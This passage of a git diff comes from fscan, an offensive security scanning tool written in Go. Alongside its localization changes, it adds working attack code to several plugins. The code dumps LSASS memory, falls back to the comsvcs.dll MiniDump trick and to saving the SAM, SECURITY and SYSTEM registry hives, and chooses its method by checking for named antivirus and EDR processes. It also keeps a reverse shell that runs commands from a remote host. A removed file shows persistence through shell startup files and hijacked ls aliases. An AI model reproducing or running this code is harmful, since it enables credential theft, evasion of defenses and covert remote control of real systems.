successCount, 4) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("ldpreload_success", successCount)) + session.LogSuccess(i18n.Tr("ldpreload_success", successCount)) } return &plugins.Result{ @@ -154,7 +154,7 @@ func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) { } if targetDir == "" { - return "", fmt.Errorf("找不到合适的系统库目录") + return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found")) } // 生成目标路径 @@ -252,7 +252,7 @@ func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { } if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何shell配置文件") + return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none")) } return modified, nil diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index 5097e1f..0d1d451 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -7,8 +7,8 @@ import ( "errors" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "syscall" "time" @@ -82,134 +82,154 @@ func NewMiniDumpPlugin() *MiniDumpPlugin { } } -// Scan 执行内存转储 - 直接实现 +// Scan 执行凭据提取——降级链:直接dump → comsvcs.dll → reg save func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { _ = session.Config _ = session.State defer func() { if r := recover(); r != nil { - common.LogError(i18n.Tr("minidump_panic", r)) + session.LogError(i18n.Tr("minidump_panic", r)) } }() var output strings.Builder - output.WriteString("=== 进程内存转储 ===\n") - output.WriteString(fmt.Sprintf("平台: %s\n", runtime.GOOS)) - - // 加载系统DLL - if err := p.loadSystemDLLs(); err != nil { - output.WriteString(fmt.Sprintf("加载系统DLL失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - // 检查管理员权限 if !p.isAdmin() { - output.WriteString("需要管理员权限才能执行内存转储\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: errors.New("需要管理员权限"), + return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))} + } + + if err := p.loadSystemDLLs(); err != nil { + return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err} + } + defer p.releaseSystemDLLs() + + pm := &ProcessManager{kernel32: p.kernel32, dbghelp: p.dbghelp, advapi32: p.advapi32} + avActive := p.isAVBlocking() + + // 方式1:直接 MiniDumpWriteDump(无杀软时尝试) + if !avActive { + output.WriteString(i18n.GetText("minidump_try_direct") + "\n") + if ok := p.tryDirectDump(ctx, pm, &output, session); ok { + return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } + } else { + output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n") } - output.WriteString("✓ 已确认具有管理员权限\n") - - // 创建进程管理器 - pm := &ProcessManager{ - kernel32: p.kernel32, - dbghelp: p.dbghelp, - advapi32: p.advapi32, + // 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截) + output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n") + if ok := p.tryComsvcsDump(pm, &output, session); ok { + return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } - // 查找lsass.exe进程 - output.WriteString("正在查找lsass.exe进程...\n") + // 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS) + output.WriteString(i18n.GetText("minidump_try_regsave") + "\n") + if ok := p.tryRegSave(&output, session); ok { + return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} + } + + output.WriteString(i18n.GetText("minidump_all_failed") + "\n") + return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))} +} + +func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { pid, err := pm.findProcess("lsass.exe") if err != nil { - output.WriteString(fmt.Sprintf("查找lsass.exe失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") + return false } - output.WriteString(fmt.Sprintf("✓ 找到lsass.exe进程, PID: %d\n", pid)) - - // 提升权限 - output.WriteString("正在提升SeDebugPrivilege权限...\n") if privErr := pm.elevatePrivileges(); privErr != nil { - output.WriteString(fmt.Sprintf("权限提升失败: %v (尝试继续执行)\n", privErr)) - } else { - output.WriteString("✓ 权限提升成功\n") + output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n") + return false } - // 创建转储文件 outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath)) - - // 执行转储 - output.WriteString("开始执行内存转储...\n") - - // 创建带超时的context - dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second) + dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second) defer cancel() - err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath) - if err != nil { - output.WriteString(fmt.Sprintf("内存转储失败: %v\n", err)) - // 创建错误信息文件 - errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n", - pid, err, time.Now().Format("2006-01-02 15:04:05"))) - _ = os.WriteFile(outputPath, errorData, 0644) + if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil { + output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n") + os.Remove(outputPath) + return false + } - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, + return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session) +} + +func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { + pid, err := pm.findProcess("lsass.exe") + if err != nil { + output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") + return false + } + + _ = pm.elevatePrivileges() + + outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) + cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump", + fmt.Sprintf("%d", pid), outputPath, "full") + if err := cmd.Run(); err != nil { + output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n") + return false + } + + return p.reportSuccess(output, outputPath, "comsvcs.dll", session) +} + +func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool { + files := map[string]string{ + "SAM": filepath.Join(".", "sam.hiv"), + "SECURITY": filepath.Join(".", "security.hiv"), + "SYSTEM": filepath.Join(".", "system.hiv"), + } + + saved := 0 + for hive, path := range files { + if err := exec.Command("reg", "save", fmt.Sprintf("HKLM\\%s", hive), path, "/y").Run(); err == nil { + if fi, err := os.Stat(path); err == nil { + output.WriteString(fmt.Sprintf(" ✓ %s → %s (%d bytes)\n", hive, path, fi.Size())) + saved++ + } + } else { + output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n") } } - // 获取文件信息 - fileInfo, err := os.Stat(outputPath) - var fileSize int64 - if err == nil { - fileSize = fileInfo.Size() + if saved == 3 { + output.WriteString(i18n.GetText("minidump_regsave_done") + "\n") + session.LogSuccess(i18n.Tr("minidump_regsave_success")) + return true } + return false +} - output.WriteString("✓ 内存转储完成\n") - output.WriteString(fmt.Sprintf("转储文件: %s\n", outputPath)) - output.WriteString(fmt.Sprintf("文件大小: %d bytes\n", fileSize)) - - common.LogSuccess(i18n.Tr("minidump_success", outputPath, fileSize)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, +func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool { + fi, err := os.Stat(path) + if err != nil || fi.Size() == 0 { + return false } + output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n") + session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) + return true } // loadSystemDLLs 加载系统DLL func (p *MiniDumpPlugin) loadSystemDLLs() error { kernel32, err := syscall.LoadDLL("kernel32.dll") if err != nil { - return fmt.Errorf("加载 kernel32.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err) } dbghelp, err := syscall.LoadDLL("Dbghelp.dll") if err != nil { - return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err) } advapi32, err := syscall.LoadDLL("advapi32.dll") if err != nil { - return fmt.Errorf("加载 advapi32.dll 失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err) } p.kernel32 = kernel32 @@ -219,6 +239,15 @@ func (p *MiniDumpPlugin) loadSystemDLLs() error { return nil } +// releaseSystemDLLs 释放已加载的系统DLL +func (p *MiniDumpPlugin) releaseSystemDLLs() { + for _, dll := range []*syscall.DLL{p.kernel32, p.dbghelp, p.advapi32} { + if dll != nil { + _ = dll.Release() + } + } +} + // isAdmin 检查是否具有管理员权限 func (p *MiniDumpPlugin) isAdmin() bool { var sid *windows.SID @@ -256,14 +285,14 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) { func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") if err != nil { - return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err) } handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) if handle == uintptr(INVALID_HANDLE_VALUE) { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError) + return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError) } return handle, nil } @@ -275,29 +304,29 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) ( proc32First, err := pm.kernel32.FindProc("Process32FirstW") if err != nil { - return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err) } proc32Next, err := pm.kernel32.FindProc("Process32NextW") if err != nil { - return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err) } lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") if err != nil { - return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err) } ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) if ret == 0 { //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError()) + return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError()) } for { namePtr, err := syscall.UTF16PtrFromString(name) if err != nil { - return 0, fmt.Errorf("转换进程名失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err) } ret, _, _ = lstrcmpi.Call( @@ -315,7 +344,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) ( } } - return 0, fmt.Errorf("未找到进程: %s", name) + return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name)) } // elevatePrivileges 提升权限 @@ -328,7 +357,7 @@ func (pm *ProcessManager) elevatePrivileges() error { var token syscall.Token err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) if err != nil { - return fmt.Errorf("打开进程令牌失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err) } defer func() { _ = token.Close() }() @@ -336,7 +365,7 @@ func (pm *ProcessManager) elevatePrivileges() error { privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege") if err != nil { - return fmt.Errorf("转换权限名称失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err) } lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") @@ -346,7 +375,7 @@ func (pm *ProcessManager) elevatePrivileges() error { uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), ) if ret == 0 { - return fmt.Errorf("查找特权值失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err) } tokenPrivileges.PrivilegeCount = 1 @@ -360,7 +389,7 @@ func (pm *ProcessManager) elevatePrivileges() error { 0, 0, 0, ) if ret == 0 { - return fmt.Errorf("调整令牌特权失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err) } return nil @@ -371,7 +400,7 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { proc := pm.kernel32.MustFindProc("GetCurrentProcess") handle, _, _ := proc.Call() if handle == 0 { - return 0, fmt.Errorf("获取当前进程句柄失败") + return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed")) } return syscall.Handle(handle), nil } @@ -388,7 +417,7 @@ func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32 case err := <-resultChan: return err case <-ctx.Done(): - return fmt.Errorf("内存转储超时 (120秒)") + return fmt.Errorf("%s", i18n.GetText("minidump_timeout")) } } @@ -408,7 +437,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") if err != nil { - return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err) + return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err) } // 转储类型标志 @@ -451,7 +480,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { if ret == 0 { //nolint:errorlint // Windows LastError不应该wrapped - return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError()) + return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError()) } } @@ -462,14 +491,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { proc, err := pm.kernel32.FindProc("OpenProcess") if err != nil { - return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err) } handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) if handle == 0 { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError) + return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError) } return handle, nil } @@ -483,7 +512,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { createFile, err := pm.kernel32.FindProc("CreateFileW") if err != nil { - return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err) + return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err) } handle, _, callErr := createFile.Call( @@ -498,7 +527,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { if handle == INVALID_HANDLE_VALUE { lastError := windows.GetLastError() //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError) + return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError) } return handle, nil @@ -511,6 +540,47 @@ func (pm *ProcessManager) closeHandle(handle uintptr) { } } +// isAVBlocking 检测是否有杀软会拦截 LSASS dump +func (p *MiniDumpPlugin) isAVBlocking() bool { + avProcesses := []string{ + "MsMpEng.exe", "MsSense.exe", + "CylanceSvc.exe", + "csfalconservice.exe", + "SentinelServiceHost.exe", "SentinelAgent.exe", + "xagt.exe", + "elastic-endpoint.exe", + "cb.exe", "CbDefense.exe", + } + + snapshot, err := p.kernel32.FindProc("CreateToolhelp32Snapshot") + if err != nil { + return false + } + handle, _, _ := snapshot.Call(TH32CS_SNAPPROCESS, 0) + if handle == INVALID_HANDLE_VALUE { + return false + } + defer p.kernel32.MustFindProc("CloseHandle").Call(handle) + + first, _ := p.kernel32.FindProc("Process32FirstW") + next, _ := p.kernel32.FindProc("Process32NextW") + + var entry PROCESSENTRY32 + entry.dwSize = uint32(unsafe.Sizeof(entry)) + + ret, _, _ := first.Call(handle, uintptr(unsafe.Pointer(&entry))) + for ret != 0 { + name := syscall.UTF16ToString(entry.szExeFile[:]) + for _, av := range avProcesses { + if strings.EqualFold(name, av) { + return true + } + } + ret, _, _ = next.Call(handle, uintptr(unsafe.Pointer(&entry))) + } + return false +} + // 注册插件 func init() { RegisterLocalPlugin("minidump", func() Plugin { diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go index 3a6e99f..3028017 100644 --- a/plugins/local/reverseshell.go +++ b/plugins/local/reverseshell.go @@ -63,14 +63,14 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se port = 4444 } - output.WriteString("=== Go原生反弹Shell ===\n") - output.WriteString(fmt.Sprintf("目标: %s\n", target)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("reverseshell_header") + "\n") + output.WriteString(i18n.Tr("local_target", target) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动反弹Shell - err = p.startNativeReverseShell(ctx, host, port, state) + err = p.startNativeReverseShell(ctx, host, port, state, session) if err != nil { - output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err)) + output.WriteString(i18n.Tr("reverseshell_error", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -78,8 +78,8 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } } - output.WriteString("✓ 反弹Shell已完成\n") - common.LogSuccess(i18n.Tr("reverseshell_complete", target)) + output.WriteString(i18n.GetText("reverseshell_done") + "\n") + session.LogSuccess(i18n.Tr("reverseshell_complete", target)) return &plugins.Result{ Success: true, @@ -90,15 +90,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } // startNativeReverseShell 启动Go原生反弹Shell -func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error { +func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error { // 连接到目标 conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) if err != nil { - return fmt.Errorf("连接失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err) } defer func() { _ = conn.Close() }() - common.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) + session.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) // 设置反弹Shell为活跃状态 state.SetReverseShellActive(true) @@ -141,7 +141,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s if errors.As(err, &netErr) && netErr.Timeout() { continue } - return fmt.Errorf("读取命令错误: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err) } // 清理命令 @@ -175,13 +175,13 @@ func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { case "linux", "darwin": cmd = exec.Command("bash", "-c", cmdLine) default: - return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) + return i18n.Tr("unsupported_os", runtime.GOOS) } // 执行命令并获取输出 output, err := cmd.CombinedOutput() if err != nil { - return fmt.Sprintf("错误: %v\n%s", err, string(output)) + return i18n.Tr("command_error_with_output", err, string(output)) } return string(output) diff --git a/plugins/local/shellenv.go b/plugins/local/shellenv.go deleted file mode 100644 index 0f29d6f..0000000 --- a/plugins/local/shellenv.go +++ /dev/null @@ -1,342 +0,0 @@ -//go:build (plugin_shellenv || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ShellEnvPlugin Shell环境持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type ShellEnvPlugin struct { - plugins.BasePlugin -} - -// NewShellEnvPlugin 创建Shell环境变量持久化插件 -func NewShellEnvPlugin() *ShellEnvPlugin { - return &ShellEnvPlugin{ - BasePlugin: plugins.NewBasePlugin("shellenv"), - } -} - -// Scan 执行Shell环境变量持久化 - 直接实现 -func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString("Shell环境变量持久化只支持Linux平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString("=== Shell环境变量持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - var successCount int - - // 1. 复制文件到隐藏目录 - hiddenPath, err := p.copyToHiddenPath(targetFile) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath)) - successCount++ - } - - // 2. 添加到用户shell配置文件 - userConfigs, err := p.addToUserConfigs(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", "))) - successCount++ - } - - // 3. 添加到全局shell配置文件 - globalConfigs, err := p.addToGlobalConfigs(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", "))) - successCount++ - } - - // 4. 创建启动别名 - aliasConfigs, err := p.addAliases(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", "))) - successCount++ - } - - // 5. 添加PATH环境变量 - err = p.addToPath(filepath.Dir(hiddenPath)) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err)) - } else { - output.WriteString("✓ 已添加到PATH环境变量\n") - successCount++ - } - - // 输出统计 - output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) - - if successCount > 0 { - common.LogSuccess(i18n.Tr("shellenv_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToHiddenPath 复制文件到隐藏目录 -func (p *ShellEnvPlugin) copyToHiddenPath(targetFile string) (string, error) { - // 获取用户主目录 - usr, err := user.Current() - if err != nil { - return "", err - } - - // 创建隐藏目录 - hiddenDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".config"), - "/tmp/.system", - "/var/tmp/.cache", - } - - var targetDir string - for _, dir := range hiddenDirs { - if mkdirErr := os.MkdirAll(dir, 0755); mkdirErr == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("无法创建目标目录") - } - - // 生成隐藏文件名 - basename := filepath.Base(targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile(targetFile) { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err = p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *ShellEnvPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addToUserConfigs 添加到用户shell配置文件 -func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - configFiles := []string{ - filepath.Join(usr.HomeDir, ".bashrc"), - filepath.Join(usr.HomeDir, ".profile"), - filepath.Join(usr.HomeDir, ".bash_profile"), - filepath.Join(usr.HomeDir, ".zshrc"), - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何用户配置文件") - } - - return modified, nil -} - -// addToGlobalConfigs 添加到全局shell配置文件 -func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - "/etc/profile.d/custom.sh", - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - // 对于profile.d,需要先创建目录 - if strings.Contains(configFile, "profile.d") { - _ = os.MkdirAll(filepath.Dir(configFile), 0755) - } - - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何全局配置文件") - } - - return modified, nil -} - -// addAliases 添加命令别名 -func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - aliasFiles := []string{ - filepath.Join(usr.HomeDir, ".bash_aliases"), - filepath.Join(usr.HomeDir, ".aliases"), - } - - // 生成常用命令别名 - aliases := []string{ - fmt.Sprintf("alias ls='%s; /bin/ls'", execPath), - fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath), - fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath), - } - - var modified []string - for _, aliasFile := range aliasFiles { - content := strings.Join(aliases, "\n") + "\n" - if p.addToConfigFile(aliasFile, content) { - modified = append(modified, aliasFile) - } - } - - return modified, nil -} - -// addToPath 添加到PATH环境变量 -func (p *ShellEnvPlugin) addToPath(dirPath string) error { - usr, err := user.Current() - if err != nil { - return err - } - - configFile := filepath.Join(usr.HomeDir, ".bashrc") - pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath) - - if p.addToConfigFile(configFile, pathLine) { - return nil - } - - return fmt.Errorf("无法添加PATH环境变量") -} - -// addToConfigFile 添加内容到配置文件 -func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool { - // 读取现有内容 - existingContent := "" - if data, err := os.ReadFile(configFile); err == nil { - existingContent = string(data) - } - - // 检查是否已存在 - if strings.Contains(existingContent, content) { - return true // 已存在,视为成功 - } - - // 添加新内容 - if !strings.HasSuffix(existingContent, "\n") && existingContent != "" { - existingContent += "\n" - } - existingContent += content + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(existingContent), 0644) == nil -} - -// generateExecLine 生成执行命令行 -func (p *ShellEnvPlugin) generateExecLine(execPath string) string { - if p.isScriptFile(execPath) { - return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath) - } - return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath) -} - -// isScriptFile 检查是否为脚本文件 -func (p *ShellEnvPlugin) isScriptFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// 注册插件 -func init() { - RegisterLocalPlugin("shellenv", func() Plugin { - return NewShellEnvPlugin() - }) -} diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index 0342e8b..ed8c84b 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -47,16 +47,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses port = 1080 // 默认端口 } - output.WriteString("=== SOCKS5代理服务器 ===\n") - output.WriteString(fmt.Sprintf("监听端口: %d\n", port)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("socks5_header") + "\n") + output.WriteString(i18n.Tr("local_listen_port", port) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - common.LogInfo(i18n.Tr("socks5_starting", port)) + session.LogInfo(i18n.Tr("socks5_starting", port)) // 启动SOCKS5代理服务器 - err := p.startSocks5Server(ctx, port, state) + err := p.startSocks5Server(ctx, port, state, session) if err != nil { - output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err)) + output.WriteString(i18n.Tr("socks5_server_error", err) + "\n") return &plugins.Result{ Success: false, Output: 